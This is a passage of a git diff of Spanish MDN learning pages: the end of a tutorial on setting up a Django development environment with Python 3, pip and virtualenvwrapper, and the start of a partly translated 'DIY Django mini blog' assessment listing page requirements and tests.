entorno de desarrollo Django?</h3> + +<p>El entorno de desarrollo es una instalación de Django en tu computadora local que puedes usar para desarrollar y probar apps Django antes de desplegarlas al entorno de producción.</p> + +<p>Las principales herramientas que el mismo Django proporciona son un conjunto de scripts de Python para crear y trabajar con proyectos Django, junto con un simple <em>servidor web de desarrollo</em> que puedes usar para probar de forma local (es decir en tu computadora, no en un servidor web externo) aplicaciones web Django con el explorador web de tu computadora.</p> + +<p>Hay otras herramientas periféricas, que forman parte del entorno de desarrollo, que no cubriremos aquí. Estas incluyen cosas como un <a href="/en-US/docs/Learn/Common_questions/Available_text_editors">editor de textos</a> o IDE para editar código, una herramienta de gestión del control de fuentes como <a href="https://git-scm.com/">Git</a> para gestionar con seguridad las diferentes versiones de tu código. Asumimos que tienes ya un editor de textos instalado.</p> + +<h3 id="¿Cuáles_son_las_opciones_de_puesta_en_marcha_de_Django">¿Cuáles son las opciones de puesta en marcha de Django?</h3> + +<p>Django es extremadamente flexible en términos de cómo y dónde puede instalarse y configurarse. Django puede ser:</p> + +<ul> + <li>instalado en diferentes sistemas operativos.</li> + <li>ser usado con Python 3 y Python 2.</li> + <li>instalado desde las fuentes, desde el Python Package Index (PyPi) y en muchos casos desde la aplicación de gestión de paquetes de la computadora.</li> + <li>configurado para usar una de entre varias bases de datos, que pueden también necesitar ser instaladas y configuradas por separado.</li> + <li>ejecutarse en el entorno Python del sistema principal o dentro de entornos virtuales Python separados.</li> +</ul> + +<p>Cada una de estas opciones requieren configuraciones y puesta en marcha ligeramente diferentes. Las siguientes subsecciones explican algunas de tus opciones. En el resto del artículo te mostraremos como ajustar Django en un pequeño número de sistemas operativos, y se supondrá ese ajuste a lo largo del resto del módulo.</p> + +<div class="note"> +<p><strong>Nota</strong>: La documentación oficial de Django cubre otras posibles opciones de instalación. Enlazamos a los <a href="#furtherreading">documentos apropiados más abajo</a>.</p> +</div> + +<h4 id="¿Qué_sistemas_operativos_están_soportados">¿Qué sistemas operativos están soportados?</h4> + +<p>Las aplicaciones web Django pueden ejecutarse en casi cualquier máquina donde pueda funcionar el lenguaje de programación Python: Windows, Mac OS X, Linux/Unix, Solaris, por nombrar sólo unos pocos. Casi cualquier computadora debería tener el rendimiento necesario para ejecutar Django durante el desarrollo.</p> + +<p>En este artículo proporcionamos instrucciones para Windows, Mac OS X, y Linux/Unix.</p> + +<h4 id="¿Qué_versión_de_Python_deberías_usar">¿Qué versión de Python deberías usar?</h4> + +<p>Django se ejecuta por encima de Python, y puede uarse tanto con Python 2 o con Python 3 (o ambos). Cuando estés seleccionando una versión deberías tener en cuenta que:</p> + +<ul> + <li>Python 2 es una versión tradicional del lenguaje que no va a tener más características nuevas pero que tiene disponible para los desarrolladores, un enorme repositorio de bibliotecas de terceros de alta calidad (algunas de las cuales no están disponibles en Python 3).</li> + <li>Python 3 es una actualización de Python 2 que, aunque similar, es más consistente y fácil de usar. Python 3 también es el futuro de Python, y continúa su evolución.</li> + <li>También es posible soportar ambas versiones usando bibliotecas (ej. <a href="http://pythonhosted.org/six/">six</a>), aunque no sin un esfuerzo adicional de desarrollo.</li> +</ul> + +<ul> +</ul> + +<div class="note"> +<p><strong>Nota</strong>: Historicamente Python 2 era la única elección realista, porque muy pocas bibliotecas de terceros estaban disponibles para Python 3. La tendencia actual es que la mayoría de paquetes nuevos y populares del <a href="https://pypi.python.org/pypi">Python Package Index</a> (PyPi) soporten ambas versiones de Python. Aunque todavía haya muchos paquetes que sólo están disponibles para Python 2, elegir Python 3 es actualmente una opción muy popular.</p> +</div> + +<p>Te recomendamos que uses la última versión de Python 3 a menos que el sitio dependa de bibliotecas de terceros que sólo están disponibles para Python 2.</p> + +<p>Este artículo te explicará como instalar un entorno para Python 3 (el ajuste equivalente para Python 2 sería muy similar).</p> + +<h4 id="¿Dónde_puedo_descagarme_Django">¿Dónde puedo descagarme Django?</h4> + +<p>Hay tres lugares para descargar Django:</p> + +<ul> + <li>El Python Package Repository (PyPi), usando la herramienta <em>pip</em>. Este es el mejor modo de obtener la última veersión estable de Django.</li> + <li>Usar una versión del gestor de paquetes de tu computadora. Las distribuciones de Django que se empaquetan con los sistemas operativos ofrecen un mecanismo de instalación ya familiar. Ten en cuenta sin embargo que la versión empaquetada puede ser bastante antigua, y sólo puede ser instalada en el entorno de Python del sistema (que puede no ser el que tu quieras).</li> + <li>Instalar desde la fuente. Puedes obtener y descargar la versión con el último grito de Python partiendo de las fuentes. Esto no es lo recomendable para principiantes, pero es necesario cuando estás listo para empezar a contribuir codificando el propio Django.</li> +</ul> + +<p>Este artículo te muestra como instalar Django desde PyPi, para conseguir la última versión estable.</p> + +<h4 id="¿Qué_base_de_datos">¿Qué base de datos?</h4> + +<p>Django soporta cuatro bases de datos importantes (PostgreSQL, MySQL, Oracle y SQLite), y hay bibliotecas comunitarias que proporcionan varios niveles de soporte para otras bases de datos populares SQL y NOSQL. Te recomendamos que elijas la misma base de datos tanto para la producción como para el desarrollo (aunque Django abstrae muchas de las diferencias entre las bases usando su Object-Relational Mapper (ORM), hay todavía <a href="https://docs.djangoproject.com/en/1.10/ref/databases/">problemas potenciales</a> que es mejor evitar).</p> + +<p>Durante este artículo (y la mayoría de este módulo) usaremos la base de datos <em>SQLite</em>, que almacena sus datos en un fichero. SQLite está pensado para ser usado como base ligera y no puede soportar un alto nivel de concurrencia. Es sin embargo una excelente elección para aplicaciones que son principalmente de sólo lectura.</p> + +<div class="note"> +<p><strong>Nota</strong>: Django está configurado para usar SQLite por defecto cuando comienzas tu proyecto de sitio web usando las herramientas estándard (<em>django-admin</em>). Es una gran elección cuando estás empezando porque no requiere configuración o puesta en marcha adicional. </p> +</div> + +<h4 id="¿Instalar_Python_en_un_entorno_de_sistema_o_virtual">¿Instalar Python en un entorno de sistema o virtual?</h4> + +<p>Cuando instalas Python3 obtienes un único entorno global que es compartido con todo el código Python3. Si bien puedes instalar los paquetes que te gusten en el entorno, sólo puedes instalar al mismo tiempo una versión en particular de cada paquete.</p> + +<div class="note"> +<p><strong>Nota</strong>: Las aplicaciones Python instaladas en el entorno global pueden entrar en conflicto potencialmente unas con otras (ej. si dependen de diferentes versiones del mismo paquete). </p> +</div> + +<p>Si instalas Django dentro del entorno por defecto/global sólo podrás apuntar a una sóla versión de Django en la computadora. Esto puede ser un problema si quieres crear nuevos sitios (usando la última versión de Django) pero manteniendo los sitios web que dependen de versiones más antiguas.</p> + +<div class="note"></div> + +<p>Como resultado, los desarrolladores experimentados de Python/Django normalmente ejecutan las aplicaciones Python dentro de <em>entornos virtuales Python</em> independientes. De esta forma se habilitan múltiples entornos Django diferentes en la misma computadora. !El mismo equipo de desarrollo Django recomienda que uses entornos Python virtuales!</p> + +<div class="note"></div> + +<p>Este módulo da por supuesto que has instalado Django en un entorno virtual, y te mostraremos cómo hacerlo más abajo.</p> + +<h2 id="Instalación_de_Python_3">Instalación de Python 3</h2> + +<p>Para poder usar Django tendrás que instalar Python en tu sistema operativo. Si estás usando <em>Python 3</em> necesitarás la herramienta <a href="https://pypi.python.org/pypi">Python Package Index</a> — <em>pip3</em> — que se usa para gestionar (instalar, actualizar y eliminar) los paquetes/bibliotecas Python usados por Django y tus otras aplicaciones Python.</p> + +<p>Esta sección explica brevemente como puedes comprobar qué versiones de Python están presentes, e instalar nuevas versiones cuando lo necesites, en Ubuntu Linux 16.04, Mac OS X, y Windows 10.</p> + +<div class="note"> +<p><strong>Nota</strong>: Dependiendo de tu plataforma, podrías también ser capaz de instalar Python/pip desde la propia aplicación de gestión de paquetes de tu sistema o vía otros mecanismos. Para la mayoría de las plataformas puedes descargar los ficheros de instalación requeridos desde <a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a> e instalarlos usando el método apropiado específico de la plataforma.</p> +</div> + +<h3 id="Ubuntu_16.04">Ubuntu 16.04</h3> + +<p>Ubuntu Linux incluye Python 3 por defecto. Puedes confirmarlo ejecutando el siguiente comando en una terminal:</p> + +<pre class="brush: bash"><span style="line-height: 1.5;">python3 -V + Python 3.5.2</span></pre> + +<p>Sin embargo la herramienta Python Package Index que necesitarás para instalar paquetes de Python 3 (incluido Django) <strong>No</strong> está disponible por defecto. Puedes instalar pip3 en un terminal bash usando:</p> + +<pre class="brush: bash">sudo apt-get install python3-pip +</pre> + +<h3 id="Mac_OS_X">Mac OS X</h3> + +<p>Mac OS X "El Capitan" no incluye Python 3. Puedes confirmarlo ejecutando los siguientes comandos en un terminal bash:</p> + +<pre class="brush: bash"><span style="line-height: 1.5;">python3 -V + </span>-bash: python3: command not found</pre> + +<p>Puedes instalar fácilmente Python 3 (junto con la herramienta <em>pip3</em>) desde <a href="https://www.python.org/">python.org</a>:</p> + +<ol> + <li>Descarga el instalador requerido: + <ol> + <li>Vete a <a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a></li> + <li>Selecciona el botón <strong>Descarga Python 3.5.2</strong> (el número exacto de versión menor puede ser diferente).</li> + </ol> + </li> + <li>Localiza el fichero usando <em>Finder</em>, haz doble-click sobre el fichero del paquete. Pincha siguiente en las ventanas de instalación.</li> +</ol> + +<p>Puedes confirmar ahora una instalación satisfactoria comprobando <em>Python 3</em> como se muestra a continuación:</p> + +<pre class="brush: bash"><span style="line-height: 1.5;">python3 -V + Python 3.5.2</span>0 +</pre> + +<p>Puedes igualmente comprobar que <em>pip3</em> está instalado listando los paquetes disponibles:</p> + +<pre class="brush: bash">pip3 list</pre> + +<h3 id="Windows_10">Windows 10</h3> + +<p>Windows no incluye Python por defecto, pero puedes instalarlo fácilmente (junto con la herramienta <em>pip3</em>) desde <a href="https://www.python.org/">python.org</a>:</p> + +<ol> + <li>Descarga el instalador requerido: + <ol> + <li>Vete a <a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a></li> + <li>Selecciona el botón de <strong>Descarga Python 3.6.3</strong> (la versión menor exacta puede ser diferente).</li> + </ol> + </li> + <li>Instala Python haciendo doble-click en el fichero descargado y pulsando siguiente en las ventanas de instalación</li> +</ol> + +<p>Puedes verificar a continuación que Python 3 se instaló correctamente entrando el siguiente texto en una ventana de comandos:</p> + +<pre class="brush: bash"><span style="line-height: 1.5;">py -3 -V + Python 3.6.3</span> +</pre> + +<p>El instalador de Windows incorpora <em>pip3</em> (el gestor de paquetes de Python) por defecto. Puedes listar paquetes como se muestra a continuación:</p> + +<pre class="brush: bash"><span style="line-height: 1.5;">pip3 list</span> +</pre> + +<div class="note"> +<p><strong>Nota</strong>: El instalador debería poner en marcha todo lo que necesitas para que el comando de arriba funcione. Si por el contrario obtienes un mensaje de que Python no puede ser encontrado, puede que necesites añadirlo al path de tu sistema.</p> +</div> + +<h2 id="Uso_de_Django_dentro_de_un_entorno_virtual_de_Python">Uso de Django dentro de un entorno virtual de Python</h2> + +<p>Las bibliotecas que usaremos para crear nuestros entornos virtuales están en <a href="https://virtualenvwrapper.readthedocs.io/en/latest/index.html">virtualenvwrapper</a> (Linux and Mac OS X) y <a href="https://pypi.python.org/pypi/virtualenvwrapper-win">virtualenvwrapper-win</a> (Windows), que utilizan a su vez la herramienta <a href="https://developer.mozilla.org/en-US/docs/Python/Virtualenv">virtualenv</a>. Las herramientas wrapper crean una interfaz consistente para la gestión de interfaces en todas las plataformas.</p> + +<h3 id="Instalación_del_software_del_entorno_virtual">Instalación del software del entorno virtual</h3> + +<h4 id="Puesta_en_marcha_del_entorno_virtual_en_Ubuntu">Puesta en marcha del entorno virtual en Ubuntu</h4> + +<p>Después de instalar Python y pip puedes instalar <em>virtualenvwrapper</em> (que incluye <em>virtualenv</em>) usando <em>pip3</em> como se muestra.</p> + +<pre><code>sudo pip3 install virtualenvwrapper</code></pre> + +<p>A continuación añade las siguientes líneas al final del fichero de inicio de tu shell (éste es un fichero oculto llamado <strong>.bashrc</strong> que se encuentra en tu directorio de inicio del usuario). Ésto ajusta la localización de donde deberían vivir los entornos virtuales, la localización de los directorios de tus proyectos de desarrollo, y la localización del script instalado con este paquete:</p> + +<pre><code>export WORKON_HOME=$HOME/.virtualenvs +export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3 +export PROJECT_HOME=$HOME/Devel +source /usr/local/bin/virtualenvwrapper.sh</code></pre> + +<p>A continuación volver a recargar el fichero de inicio ejecutando el siguiente comando en el terminal:</p> + +<pre><code>source ~/.bashrc</code></pre> + +<p>En este punto deberías ver un puñado de scripts empezando a ejecutarse como se muestra a continuación:</p> + +<pre><code>virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/premkproject +virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postmkproject +... +virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/preactivate +virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postactivate +virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/get_env_details</code></pre> + +<p>Ahora puedes crear un nuevo entorno virtual con el comando <code>mkvirtualenv</code>.</p> + +<h4 id="Puesta_en_marcha_del_entorno_virtual_en_Mac_OS_X">Puesta en marcha del entorno virtual en Mac OS X</h4> + +<p>El ajuste de virtualenvwrapper en Mac OS X es casi idéntico a como es en Ubuntu. </p> + +<p>Instalar <em>virtualenvwrapper</em> (y <em>virtualenv</em> incluido en el paquete) usando <em>pip</em> como se muestra a continuación.</p> + +<pre><code>sudo pip3 install virtualenvwrapper</code></pre> + +<p>A continuación añadir las siguientes líneas al final del fichero de inicio de tu shell. Son las mismas líneas que para Ubuntu, pero el fichero de inicio se llama de forma diferente <strong>.bash_profile</strong> y está oculto en tu directorio de inicio.</p> + +<pre><code>export WORKON_HOME=$HOME/.virtualenvs +export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3 +export PROJECT_HOME=$HOME/Devel +source /usr/local/bin/virtualenvwrapper.sh</code></pre> + +<p><strong>Nota</strong>: Si no puedes encontrar <strong>.bash-profile</strong> para editar en el finder, puedes también abrirlo usando nano.</p> + +<p>Los comandos parecen algo como lo siguiente.</p> + +<pre><code>cd ~ # Navegar a mi directorio de inicio +ls -la # Listar el contenido del directorio. Deberias ver .bash_profile +nano .bash_profile # Abrir el fichero en el editor de texto nano, en el terminal +# Avanzar hast el final del fichero, y copiar y pegar las lineas de arrriba +# Usar Ctrl+X para salir de nano, Elegir Y para guardar el fichero.</code></pre> + +<p>A continuación recargar el fichero de inicio realizando la siguiente llamada en el terminal:</p> + +<pre><code>source ~/.bash_profile</code></pre> + +<p>En este punto deberías ver un puñado de scripts empezando a ejecutarse (los mismos scripts que para la instalación en Ubuntu). Deberías ser ahora capaz de crear un nuevo entorno virtual con el comado <code>mkvirtualenv</code>.</p> + +<h4 id="Puesta_en_marcha_del_entorno_virtual_en_Windows_10">Puesta en marcha del entorno virtual en Windows 10</h4> + +<p>Instalar <a href="https://pypi.python.org/pypi/virtualenvwrapper-win">virtualenvwrapper-win</a> es incluso más simple que poner en marcha <em>virtualenvwrapper</em> porque no necesitas configurar donde almacena la herramienta la información del entorno (hay un valor por defecto). Todo lo que necesitas hacer es ejecutar el siguiente comando en la consola de comandos en línea:</p> + +<pre><code>pip3 install virtualenvwrapper-win</code></pre> + +<p>Y a continuación ya puedes crear un nuevo entorno virtual con <code>mkvirtualenv</code></p> + +<h3 id="Creación_de_un_entorno_virtual">Creación de un entorno virtual</h3> + +<p>Una vez que hayas instalado <em>virtualenvwrapper</em> o <em>virtualenvwrapper-win</em> trabajar con entornos virtuales es muy similar en todas las plataformas.</p> + +<p>Ahora puedes crear un nuevo entorno virtual con el comando <code>mkvirtualenv</code>. A medida que se ejecuta este comando verás que se va poniendo en marcha el entorno (lo que verás es ligeramente específico de la plataforma). Cuando se completa el comando el nuevo entorno virtual estará activo — podrás comprobarlo porque el comienzo del prompt será el nombre del entorno entre paréntesis (como se muestra abajo).</p> + +<pre><code>$ mkvirtualenv my_django_environment + +Running virtualenv with interpreter /usr/bin/python3 +... +virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/t_env7/bin/get_env_details +(my_django_environment) ubuntu@ubuntu:~$</code> +</pre> + +<p>Una vez que estás dentro del entorno virutal puedes instalar Django e iniciar el desarrollo.</p> + +<div class="note"> +<p><strong>Nota</strong>: De ahora en adelante en este artículo (y por ende en el módulo) asume por favor que todos los comandos se ejecutan en un entorno virtual Python como el que acabamos de poner en marcha arriba.</p> +</div> + +<h3 id="Uso_de_un_entorno_virtual">Uso de un entorno virtual</h3> + +<p>Hay sólo otros pocos comandos útiles que deberías conocer (hay más en la documentación de la herramienta, pero éstos son los que usarás de forma habitual:</p> + +<ul> + <li><code>deactivate</code> — Salir del entorno virutal Python actual</li> + <li><code>workon</code> — Listar los entornos virtuales disponibles</li> + <li><code>workon name_of_environment</code> — Activar el entorno virtual Python especificado</li> + <li><code>rmvirtualenv name_of_environment</code> — Borrar el entorno especificado.</li> +</ul> + + + +<h2 id="Instalación_de_Django">Instalación de Django</h2> + +<p>Una vez que has creado el entorno virtual, y realizado la llamada <code>workon</code> para entrar en él, puedes usar <em>pip3 </em>para instalar Django. </p> + +<pre class="brush: bash">pip3 install django +</pre> + +<p>Puedes comprobar que está instalado Django ejecutando el siguiente comando (esto sólo comprueba que Python puede encontrar el módulo Django):</p> + +<pre class="brush: bash"># Linux/Mac OS X +python3 -m django --version + 1.11.7 + +# Windows +py -3 -m django --version + 1.11.7 +</pre> + +<div class="note"> +<p><strong>Nota</strong>: En Windows se lanzan scripts <em>Python 3</em> añadiendo como prefijo del comando con <code>py -3</code>, mientras que en Linux/Mac OSX, el comando es <code>python3</code>.</p> +</div> + +<div class="warning"> +<p><strong>Importante</strong>: El resto de este <strong>modulo </strong>usa, para invocar Python 3, el comando <em>Linux</em> (<code>python3</code>) . Si estás trabajando en <em>Windows </em>simplemente reemplazar este prefijo con: <code>py -3</code></p> +</div> + +<h2 id="Comprobación_de_tu_instalación">Comprobación de tu instalación</h2> + +<p>La prueba de arriba funciona, pero no es muy divertida. Una comprobación más interesante es crear un esqueleto de proyecto y ver si funciona. Para hacer ésto, navega primero en tu consola de comandos/terminal a donde quieras almacenar tus aplicaciones Django. Crea una carpeta para la comprobación de tu sitio y navega a ella.</p> + +<pre class="brush: bash">mkdir django_test +cd django_test +</pre> + +<p>Puedes crear a continuación un nuevo esqueleto de sitio llamado "<em>mytestsite</em>" usando la herramienta <strong>django-admin</strong> como se muestra a continuación. Después de crear el sitio puedes navegar a la carpeta donde encontrarás el script principal para la gestión de proyectos, llamado <strong>manage.py</strong>.</p> + +<pre class="brush: bash">django-admin startproject mytestsite +cd mytestsite</pre> + +<p>Podemos arrancar el <em>servidor web de desarrollo</em> desde esta carpeta usando <strong>manage.py</strong> y el comando <code>runserver</code>, como se muestra.</p> + +<pre class="brush: bash">$ <strong>python3 manage.py runserver </strong> +Performing system checks... + +System check identified no issues (0 silenced). + +You have 13 unapplied migration(s). Your project may not work properly until you apply the migrations for app(s): admin, auth, contenttypes, sessions. +Run 'python manage.py migrate' to apply them. + +September 19, 2016 - 23:31:14 +Django version 1.10.1, using settings 'mysite.settings' +Starting development server at http://127.0.0.1:8000/ +Quit the server with CONTROL-C. +</pre> + +<div class="note"> +<p><strong>Nota</strong>: El comando anterior muestra el comando Linux/Mac OS X. En este punto ¡puedes ignorar las advertencias sobre "13 unapplied migration(s)"!</p> +</div> + +<p>Una vez que tengas funcionando el servidor puedes ver el sitio navegando a la siguiente URL en tu explorador web local : <code>http://127.0.0.1:8000/</code>. Deberías ver un sitio parecido a este:</p> + +<p><img alt="The home page of the skeleton Django app." src="https://mdn.mozillademos.org/files/13893/Django_Skeleton_Website_Homepage.png" style="border-style: solid; border-width: 1px; display: block; height: 544px; margin: 0px auto; width: 865px;"></p> + +<ul> +</ul> + +<h2 id="Sumario">Sumario</h2> + +<p>Ahora tienes levantado y funcionando en tu computadora tu entorno de desarrollo Django .</p> + +<p>En la sección de pruebas viste brevemente cómo crear un nuevo sitio web Django usando <code>django-admin startproject</code>, y hacerlo funcionar en tu explorador usando el servidor web de desarrollo (<code><strong>python3 manage.py runserver</strong></code>).</p> + +<p>En el siguiente artículo expandimos este proceso, construyendo una aplicación web simple pero completa.</p> + +<h2 id="Ver_también">Ver también</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/es/2.0/intro/install/">Guía de instalación rápida</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/es/2.0/topics/install/">Cómo instalar Django — Guía Completa</a> (Django docs) - incluye información sobre cómo borrar Django</li> + <li><a href="https://docs.djangoproject.com/es/2.0/howto/windows/">Cómo instalar Django en Windows</a> (Django docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}}</p> + +<h2 id="En_este_módulo">En este módulo</h2> + +<ul> + <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> diff --git a/files/es/learn/server-side/django/django_assessment_blog/index.html b/files/es/learn/server-side/django/django_assessment_blog/index.html new file mode 100644 index 0000000000..cb5ac7ad88 --- /dev/null +++ b/files/es/learn/server-side/django/django_assessment_blog/index.html @@ -0,0 +1,307 @@ +--- +title: 'Evaluación: DIY Django mini blog' +slug: Learn/Server-side/Django/django_assessment_blog +translation_of: Learn/Server-side/Django/django_assessment_blog +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/Server-side/Django/web_application_security", "Learn/Server-side/Django")}}</div> + +<p class="summary">En esta evaluación usarás el conocimiento de Django que has adquirido en el módulo <a href="/es/docs/Learn/Server-side/Django" style="font-size: 1.25rem;">Framework Web Django (Python)</a> para crear un blog muy básico<span style="font-size: 1.25rem;">.</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Requisitos Previos:</th> + <td>Before attempting this assessment you should have already worked through all the articles in this module.</td> + </tr> + <tr> + <th scope="row">Objetivo:</th> + <td>Comprender los fundamentos de Django , incluidos las configuraciones de URL , modelos, vistas, formularios y templates.</td> + </tr> + </tbody> +</table> + +<h2 id="Resumen_del_proyecto">Resumen del proyecto</h2> + +<p>Las paginas que necesitan ser mostradas, sus URLs, y otros requisitos son listados debajo: </p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Pagina</th> + <th scope="col">URL</th> + <th scope="col">Requisitos</th> + </tr> + </thead> + <tbody> + <tr> + <td>Home page</td> + <td><code>/</code> and <code>/blog/</code></td> + <td>Una pagina inicial que describa el sitio</td> + </tr> + <tr> + <td>Lista de todos las publicaciones del blog</td> + <td><code>/blog/blogs/</code></td> + <td> + <p>Lista de todos las publicaciones del blog:</p> + + <ul> + <li>Accessible to all users from a sidebar link.</li> + <li>List sorted by post date (newest to oldest).</li> + <li>List paginated in groups of 5 articles.</li> + <li>List items display the blog title, post date, and author.</li> + <li>Blog post names are linked to blog detail pages.</li> + <li>Blogger (author names) are linked to blog author detail pages.</li> + </ul> + </td> + </tr> + <tr> + <td>Blog autor (blogger) pagina de detalles</td> + <td><code>/blog/blogger/<em><author-id></em></code></td> + <td> + <p>Information for a specified author (by id) and list of their blog posts:</p> + + <ul> + <li>Accessible to all users from author links in blog posts etc.</li> + <li>Contains some biographical information about the blogger/author.</li> + <li>List sorted by post date (newest to oldest).</li> + <li>Not paginated.</li> + <li>List items display just the blog post name and post date.</li> + <li>Blog post names are linked to blog detail pages.</li> + </ul> + </td> + </tr> + <tr> + <td>Blog post detail page</td> + <td><code>/blog/<em><blog-id></em></code></td> + <td> + <p>Blog post details.</p> + + <ul> + <li>Accessible to all users from blog post lists.</li> + <li>Page contains the blog post: name, author, post date, and content.</li> + <li>Comments for the blog post should be displayed at bottom.</li> + <li>Comments should be sorted in order: oldest to most recent.</li> + <li>Contains link to add comments at end for logged in users (see Comment form page)</li> + <li>Blog posts and comments need only display plain text. There is no need to support any sort of HTML markup (e.g. links, images, bold/italic, etc).</li> + </ul> + </td> + </tr> + <tr> + <td>List of all bloggers</td> + <td><code>/blog/bloggers/</code></td> + <td> + <p>List of bloggers on system:</p> + + <ul> + <li>Accessible to all users from site sidebar</li> + <li>Blogger names are linked to Blog author detail pages.</li> + </ul> + </td> + </tr> + <tr> + <td>Comment form page</td> + <td><code>/blog/<em><blog-id></em>/create</code></td> + <td> + <p>Create comment for blog post:</p> + + <ul> + <li>Accessible to logged-in users (only) from link at bottom of blog post detail pages.</li> + <li>Displays form with description for entering comments (post date and blog is not editable).</li> + <li>After a comment has been posted, the page will redirect back to the associated blog post page.</li> + <li>Users cannot edit or delete their posts.</li> + <li>Logged out users will be directed to the login page to log in, before they can add comments. After logging in, they will be redirected back to the blog page they wanted to comment on.</li> + <li>Comment pages should include the name/link to the blogpost being commented on.</li> + </ul> + </td> + </tr> + <tr> + <td>User authentication pages</td> + <td><code>/accounts/<em><standard urls></em></code></td> + <td> + <p>Standard Django authentication pages for logging in, out and setting the password:</p> + + <ul> + <li>Login/out should be accessible via sidebar links.</li> + </ul> + </td> + </tr> + <tr> + <td>Admin site</td> + <td><code>/admin/<em><standard urls></em></code></td> + <td> + <p>Admin site should be enabled to allow create/edit/delete of blog posts, blog authors and blog comments (this is the mechanism for bloggers to create new blog posts):</p> + + <ul> + <li>Admin site blog posts records should display the list of associated comments inline (below each blog post).</li> + <li>Comment names in the Admin site are created by truncating the comment description to 75 characters.</li> + <li>Other types of records can use basic registration.</li> + </ul> + </td> + </tr> + </tbody> +</table> + +<p>In addition you should write some basic tests to verify:</p> + +<ul> + <li>All model fields have the correct label and length.</li> + <li>All models have the expected object name (e.g.<code> __str__()</code> returns the expected value).</li> + <li>Models have the expected URL for individual Blog and Comment records (e.g. <code>get_absolute_url()</code> returns the expected URL).</li> + <li>The BlogListView (all-blog page) is accessible at the expected location (e.g. /blog/blogs)</li> + <li>The BlogListView (all-blog page) is accessible at the expected named url (e.g. 'blogs')</li> + <li>The BlogListView (all-blog page) uses the expected template (e.g. the default)</li> + <li>The BlogListView paginates records by 5 (at least on the first page)</li> +</ul> + +<div class="note"> +<p><strong>Note</strong>: There are of course many other tests you can run. Use your discretion, but we'll expect you to do at least the tests above.</p> +</div> + +<p>The following section shows <a href="#Screenshots">screenshots</a> of a site that implements the requirements above.</p> + +<h2 id="Screenshots">Screenshots</h2> + +<p>The following screenshot provide an example of what the finished program should output.</p> + +<h3 id="List_of_all_blog_posts">List of all blog posts</h3> + +<p>This displays the list of all blog posts (accessible from the "All blogs" link in the sidebar). Things to note:</p> + +<ul> + <li>The sidebar also lists the logged in user.</li> + <li>Individual blog posts and bloggers are accessible as links in the page.</li> + <li>Pagination is enabled (in groups of 5)</li> + <li>Ordering is newest to oldest.</li> +</ul> + +<p><img alt="List of all blogs" src="https://mdn.mozillademos.org/files/14319/diyblog_allblogs.png" style="border-style: solid; border-width: 1px; display: block; height: 363px; margin: 0px auto; width: 986px;"></p> + +<h3 id="List_of_all_bloggers">List of all bloggers</h3> + +<p>This provides links to all bloggers, as linked from the "All bloggers" link in the sidebar. In this case we can see from the sidebar that no user is logged in.</p> + +<p><img alt="List of all bloggers" src="https://mdn.mozillademos.org/files/14321/diyblog_blog_allbloggers.png" style="border-style: solid; border-width: 1px; display: block; height: 256px; margin: 0px auto; width: 493px;"></p> + +<h3 id="Blog_detail_page">Blog detail page</h3> + +<p>This shows the detail page for a particular blog.</p> + +<p><img alt="Blog detail with add comment link" src="https://mdn.mozillademos.org/files/14323/diyblog_blog_detail_add_comment.png" style="border-style: solid; border-width: 1px; display: block; height: 640px; margin: 0px auto; width: 986px;"></p> + +<p>Note that the comments have a date <em>and</em> time, and are ordered from oldest to newest (opposite of blog ordering). At the end we have a link for accessing the form to add a new comment. If a user is not logged in we'd instead see a suggestion to log in.</p> + +<p><img alt="Comment link when not logged in" src="https://mdn.mozillademos.org/files/14325/diyblog_blog_detail_not_logged_in.png" style="border-style: solid; border-width: 1px; display: block; height: 129px; margin: 0px auto; width: 646px;"></p> + +<h3 id="Add_comment_form">Add comment form</h3> + +<p>This is the form to add comments. Note that we're logged in. When this succeeds we should be taken back to the associated blog post page.</p> + +<p><img alt="Add comment form" src="https://mdn.mozillademos.org/files/14329/diyblog_comment_form.png" style="border-style: solid; border-width: 1px; 